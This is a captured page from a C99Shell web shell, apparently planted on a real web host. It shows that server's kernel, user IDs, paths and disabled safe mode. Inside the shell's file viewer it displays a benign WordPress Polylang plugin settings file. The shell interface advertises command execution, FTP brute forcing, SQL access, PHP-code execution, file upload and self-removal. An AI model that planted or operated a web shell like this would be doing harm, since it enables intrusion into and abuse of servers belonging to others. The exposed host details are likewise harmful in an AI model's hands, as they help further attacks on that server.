!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/settings/   drwxr-xr-x
Free 180.53 GB of 490.84 GB (36.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     settings-browser.php (2.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Settings class for browser language preference detection
 *
 * @since 1.8
 */
class PLL_Settings_Browser extends PLL_Settings_Module {

    
/**
     * Constructor
     *
     * @since 1.8
     *
     * @param object $polylang polylang object
     */
    
public function __construct( &$polylang ) {
        
parent::__construct$polylang, array(
            
'module'        => 'browser',
            
'title'         => __'Detect browser language''polylang' ),
            
'description'   => __'When the front page is visited, set the language according to the browser preference''polylang' ),
            
'active_option' => $this->is_available() ? 'browser' false,
        ) );

        if ( ! 
class_exists'PLL_Xdata_Domain'true ) ) {
            
add_action'admin_print_footer_scripts', array( $this'print_js' ) );
        }
    }

    
/**
     * Tells if the option is available
     *
     * @since 2.0
     *
     * @return bool
     */
    
protected function is_available() {
        return ( 
$this->options['force_lang'] ) || class_exists'PLL_Xdata_Domain'true );
    }

    
/**
     * Tells if the module is active
     *
     * @since 1.8
     *
     * @return bool
     */
    
public function is_active() {
        return 
$this->is_available() ? parent::is_active() : false;
    }

    
/**
     * Displays the javascript to handle dynamically the change in url modifications
     * as the preferred browser language is not used when the language is set from different domains
     *
     * @since 1.8
     */
    
public function print_js() {
        
wp_enqueue_script'jquery' );

        if ( 
parent::is_active() && $this->options['force_lang'] ) {
            
$func 'removeClass( "inactive" ).addClass( "active" )';
            
$link sprintf'<span class="deactivate">%s</span>'$this->action_links['deactivate'] );
        }
        else {
            
$func 'removeClass( "active" ).addClass( "inactive" )';
            
$link sprintf'<span class="activate">%s</span>'$this->action_links['activate'] );
        }

        
$deactivated sprintf'<span class="deactivated">%s</span>'$this->action_links['deactivated'] );

        
?>
        <script type='text/javascript'>
            //<![CDATA[
            ( function( $ ){
                $( "input[name='force_lang']" ).change( function() {
                    var value = $( this ).val();
                    if ( 3 > value ) {
                        $( "#pll-module-browser" ).<?php echo $func;?>.children( "td" ).children( ".row-actions" ).html( '<?php echo $link?>' );
                    }
                    else {
                        $( "#pll-module-browser" ).removeClass( "active" ).addClass( "inactive" ).children( "td" ).children( ".row-actions" ).html( '<?php echo $deactivated?>' );
                    }
                } );
            } )( jQuery );
            // ]]>
        </script><?php
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0257 ]--